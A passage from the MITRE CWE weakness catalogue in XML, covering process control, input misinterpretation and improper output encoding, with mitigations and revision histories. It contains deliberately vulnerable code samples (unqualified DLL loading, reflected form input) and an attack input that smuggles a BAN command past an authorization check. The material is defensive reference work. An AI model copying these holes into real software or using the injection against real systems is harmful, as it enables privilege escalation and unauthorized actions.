					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">HTTP Response
						Splitting</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize CRLF
						Sequences in HTTP Headers (aka 'HTTP Response
						Splitting')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize CRLF
						Sequences in HTTP Headers ('HTTP Response Splitting')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="114" Name="Process Control" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Executing commands or loading libraries from an untrusted
					source or in an untrusted environment can cause an application to execute
					malicious commands (and payloads) on behalf of an
					attacker.</Description_Summary>
				        <Extended_Description>
					          <Text>Process control vulnerabilities take two forms: 1. An attacker can change
						the command that the program executes: the attacker explicitly controls what
						the command is. 2. An attacker can change the environment in which the
						command executes: the attacker implicitly controls what the command means.
						Process control vulnerabilities of the first type occur when either data
						enters the application from an untrusted source and the data is used as part
						of a string representing a command that is executed by the application. By
						executing the command, the application gives an attacker a privilege or
						capability that the attacker would not otherwise have.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Libraries that are loaded should be well understood and come from a
							trusted source. The application can execute code contained in the native
							libraries, which often contain calls that are susceptible to other
							security problems, such as buffer overflows or command injection. All
							native libraries should be validated to determine if the application
							requires the use of the library. It is very difficult to determine what
							these native libraries actually do, and the potential for malicious code
							is high. In addition, the potential for an inadvertent mistake in these
							native libraries is also high, as many are written in C or C++ and may
							be susceptible to buffer overflow or race condition problems. To help
							prevent buffer overflow attacks, validate all input to native calls for
							content and length. If the native library does not come from a trusted
							source, review the source code of the library. The library should be
							built from the reviewed source before using it.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code uses System.loadLibrary() to load code from a
						native library named library.dll, which is normally found in a standard
						system directory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>System.loadLibrary("library.dll");</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The problem here is that System.loadLibrary() accepts a library name,
							not a path, for the library to be loaded. From the Java 1.4.2 API
							documentation this function behaves as follows [1]: A file containing
							native code is loaded from the local file system from a place where
							library files are conventionally obtained. The details of this process
							are implementation-dependent. The mapping from a library name to a
							specific filename is done in a system-specific manner. If an attacker is
							able to place a malicious copy of library.dll higher in the search order
							than file the application intends to load, then the application will
							load the malicious copy instead of the intended file. Because of the
							nature of the application, it runs with elevated privileges, which means
							the contents of the attacker's library.dll will now be run with elevated
							privileges, possibly giving them complete control of the system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code from a privileged application uses a registry
						entry to determine the directory in which it is installed and loads a
						library file based on a relative path from the specified
						directory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>...</Code>
							              <Code>RegQueryValueEx(hkey, "APPHOME",</Code>
							              <Code>0, 0, (BYTE*)home, &amp;size);</Code>
							              <Code>char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));</Code>
							              <Code>if (lib) {</Code>
							              <Block>
								                <Code/>
								                <Code>strcpy(lib,home);</Code>
								                <Code>strcat(lib,INITCMD);</Code>
								                <Code>LoadLibrary(lib);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The code in this example allows an attacker to load an arbitrary
							library, from which code will be executed with the elevated privilege of
							the application, by modifying a registry key to specify a different path
							containing a malicious version of INITLIB. Because the program does not
							validate the value read from the environment, if an attacker can control
							the value of APPHOME, they can fool the application into running
							malicious code.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code is from a web-based administration utility that
						allows users access to an interface through which they can update their
						profile on the system. The utility makes use of a library named liberty.dll,
						which is normally found in a standard system directory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>LoadLibrary("liberty.dll");</Code>
						            </Block>
						            <Text>The problem is that the program does not specify an absolute path for
							liberty.dll. If an attacker is able to place a malicious library named
							liberty.dll higher in the search order than file the application intends
							to load, then the application will load the malicious copy instead of
							the intended file. Because of the nature of the application, it runs
							with elevated privileges, which means the contents of the attacker's
							liberty.dll will now be run with elevated privileges, possibly giving
							the attacker complete control of the system. The type of attack seen in
							this example is made possible because of the search order used by
							LoadLibrary() when an absolute path is not specified. If the current
							directory is searched before system directories, as was the case up
							until the most recent versions of Windows, then this type of attack
							becomes trivial if the attacker can execute the program locally. The
							search order is operating system version dependent, and is controlled on
							newer operating systems by the value of the registry key:
							HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Process Control</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>108</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="115" Name="Misinterpretation of Input" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software misinterprets an input, whether from an attacker
					or another product, in a security-relevant fashion.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>436</Relationship_Target_ID>
					          <!--Interpretation Conflict-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2225</Observed_Example_Reference>
					          <Observed_Example_Description>Product sees dangerous file extension in free text
						of a group discussion, disconnects all users.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0003</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not correctly import and process
						security settings from another product.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This concept needs further study. It is likely a factor in several
						weaknesses, possibly resultant as well. Overlaps Multiple Interpretation
						Errors (MIE).</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Misinterpretation Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Misinterpretation
						Error</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="116" Name="Improper Encoding or Escaping of Output" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software prepares a structured message for communication
					with another component, but encoding or escaping of the data is either missing
					or done incorrectly. As a result, the intended structure of the message is not
					preserved.</Description_Summary>
				        <Extended_Description>
					          <Text>Improper encoding or escaping can allow attackers to change the commands
						that are sent to another component, inserting malicious commands
						instead.</Text>
					          <Text>Most software follows a certain protocol that uses structured messages for
						communication between components, such as queries or commands. These
						structured messages can contain raw data interspersed with metadata or
						control information. For example, "GET /index.html HTTP/1.1" is a structured
						message containing a command ("GET") with a single argument ("/index.html")
						and metadata about which protocol version is being used ("HTTP/1.1").</Text>
					          <Text>If an application uses attacker-supplied inputs to construct a structured
						message without properly encoding or escaping, then the attacker could
						insert special characters that will cause the data to be interpreted as
						control information or metadata. Consequently, the component that receives
						the output will perform the wrong operations, or otherwise interpret the
						data incorrectly.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness is primary to all weaknesses related to injection (CWE-74)
						since the inherent nature of injection involves the violation of structured
						messages.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>CWE-116 and CWE-20 have a close association because, depending on the
						nature of the structured message, proper input validation can indirectly
						prevent special characters from changing the meaning of a structured
						message. For example, by validating that a numeric ID field should only
						contain the 0-9 characters, the programmer effectively prevents injection
						attacks.</Text>
					          <Text>However, input validation is not always sufficient, especially when less
						stringent data types must be supported, such as free-form text. Consider a
						SQL injection scenario in which a last name is inserted into a query. The
						name "O'Reilly" would likely pass the validation step since it is a common
						last name in the English language. However, it cannot be directly inserted
						into the database because it contains the "'" apostrophe character, which
						would need to be escaped or otherwise neutralized. In this case, stripping
						the apostrophe might reduce the risk of SQL injection, but it would produce
						incorrect behavior because the wrong name would be recorded.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Prevalence="Often" Technology_Name="Database-Server"/>
					          <Technology_Class Prevalence="Often" Technology_Name="Web-Server"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Output Sanitization</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Output Validation</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Output Encoding</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>The usage of the "encoding" and "escaping" terms varies widely. For
						example, in some programming languages, the terms are used interchangeably,
						while other languages provide APIs that use both terms for different tasks.
						This overlapping usage extends to the Web, such as the "escape" JavaScript
						function whose purpose is stated to be encoding. Of course, the concepts of
						encoding and escaping predate the Web by decades. Given such a context, it
						is difficult for CWE to adopt a consistent vocabulary that will not be
						misinterpreted by some constituency.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The communications between components can be modified in unexpected
							ways. Unexpected commands can be executed, bypassing other security
							mechanisms. Incoming data can be misinterpreted.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>This is not a perfect solution, since 100% accuracy and coverage are
							not feasible.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-4.3">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, consider using the ESAPI Encoding control [R.116.1] or a
							similar tool, library, or framework. These will help the programmer
							encode outputs in a manner less prone to error.</Text>
						            <Text>Alternately, use built-in functions, but consider using wrappers in
							case those functions are discovered to have a vulnerability.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-27">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Parameterization</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>If available, use structured mechanisms that automatically enforce the
							separation between data and code. These mechanisms may be able to
							provide the relevant quoting, encoding, and validation automatically,
							instead of relying on the developer to provide this capability at every
							point where output is generated.</Text>
						            <Text>For example, stored procedures can enforce database query structure
							and reduce the likelihood of SQL injection.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand the context in which your data will be used and the
							encoding that will be expected. This is especially important when
							transmitting data between different components, or when generating
							outputs that can contain multiple encodings at the same time, such as
							web pages or multi-part mail messages. Study all expected communication
							protocols and data representations to determine the required encoding
							strategies.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In some cases, input validation may be an important strategy when
							output encoding is not a complete solution. For example, you may be
							providing the same output that will be processed by multiple consumers
							that use different encodings or representations. In other cases, you may
							be required to allow user-supplied input to contain control information,
							such as limited HTML tags that support formatting in a wiki or bulletin
							board. When this type of requirement must be met, use an extremely
							strict whitelist to limit which control sequences can be used. Verify
							that the resulting syntactic structure is what you expect. Use your
							normal encoding methods for the remainder of the input.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use input validation as a defense-in-depth measure to reduce the
							likelihood of output encoding errors (see CWE-20).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Fully specify which encodings are required by components that will be
							communicating with each other.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When exchanging data between components, ensure that both components
							are using the same character encoding. Ensure that the proper encoding
							is applied at each interface. Explicitly set the encoding you are using
							whenever the protocol allows you to do so.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Here a value read from an HTML form parameter is reflected back to
						the client browser without having been encoded prior to output.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>&lt;% String email = request.getParameter("email");
								%&gt;</Code>
							              <Code>...</Code>
							              <Code>Email Address: &lt;%= email %&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Consider a chat application in which a front-end web application
						communicates with a back-end server. The back-end is legacy code that does
						not perform authentication or authorization, so the front-end must implement
						it. The chat protocol supports two commands, SAY and BAN, although only
						administrators can use the BAN command. Each argument must be separated by a
						single space. The raw inputs are URL-encoded. The messaging protocol allows
						multiple commands to be specified on the same line if they are separated by
						a "|" character.</Intro_Text>
					          <Example_Body>
						            <Text_Title>Back End: Command Processor Code</Text_Title>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$inputString = readLineFromFileHandle($serverFH);</Code>
							              <Comment># generate an array of strings separated by the "|"
								character.</Comment>
							              <Code>@commands = split(/\|/, $inputString);</Code>
							              <Code>foreach $cmd (@commands) {</Code>
							              <Block>
								                <Comment># separate the operator from its arguments based on a
									single whitespace</Comment>
								                <Code>($operator, $args) = split(/ /, $cmd, 2);</Code>
								                <Code>$args = UrlDecode($args);</Code>
								                <Code>if ($operator eq "BAN") {</Code>
								                <Block>
									                  <Code>ExecuteBan($args);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>elsif ($operator eq "SAY") {</Code>
								                <Block>
									                  <Code>ExecuteSay($args);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text_Title>Front End: Web Application</Text_Title>
						            <Text>In this code, the web application receives a command, encodes it for
							sending to the server, performs the authorization check, and sends the
							command to the server.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$inputString = GetUntrustedArgument("command");</Code>
							              <Code>($cmd, $argstr) = split(/\s+/, $inputString, 2);</Code>
							              <Comment># removes extra whitespace and also changes CRLF's to
								spaces</Comment>
							              <Code>$argstr =~ s/\s+/ /gs;</Code>
							              <Code>$argstr = UrlEncode($argstr);</Code>
							              <Code>if (($cmd eq "BAN") &amp;&amp; (!
								IsAdministrator($username))) {</Code>
							              <Block>
								                <Code>die "Error: you are not the admin.\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment># communicate with file server using a file handle</Comment>
							              <Code>$fh = GetServerFileHandle("myserver");</Code>
							              <Code>print $fh "$cmd $argstr\n";</Code>
						            </Block>
						            <Text_Title>Diagnosis</Text_Title>
						            <Text>It is clear that, while the protocol and back-end allow multiple
							commands to be sent in a single request, the front end only intends to
							send a single command. However, the UrlEncode function could leave the
							"|" character intact. If an attacker provides:</Text>
						            <Block Block_Nature="Attack">
							              <Code>SAY hello world|BAN user12</Code>
						            </Block>
						            <Text>then the front end will see this is a "SAY" command, and the $argstr
							will look like "hello world | BAN user12". Since the command is "SAY",
							the check for the "BAN" command will fail, and the front end will send
							the URL-encoded command to the back end:</Text>
						            <Block Block_Nature="Result">
							              <Code>SAY hello%20world|BAN%20user12</Code>
						            </Block>
						            <Text>The back end, however, will treat these as two separate
							commands:</Text>
						            <Block Block_Nature="Result">
							              <Code>SAY hello world</Code>
							              <Code>BAN user12</Code>
						            </Block>
						            <Text>Notice, however, that if the front end properly encodes the "|" with
							"%7C", then the back end will only process a single command.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example takes user input, passes it through an encoding scheme
						and then creates a directory specified by the user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>sub GetUntrustedInput {</Code>
							              <Block>
								                <Code>return($ARGV[0]);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
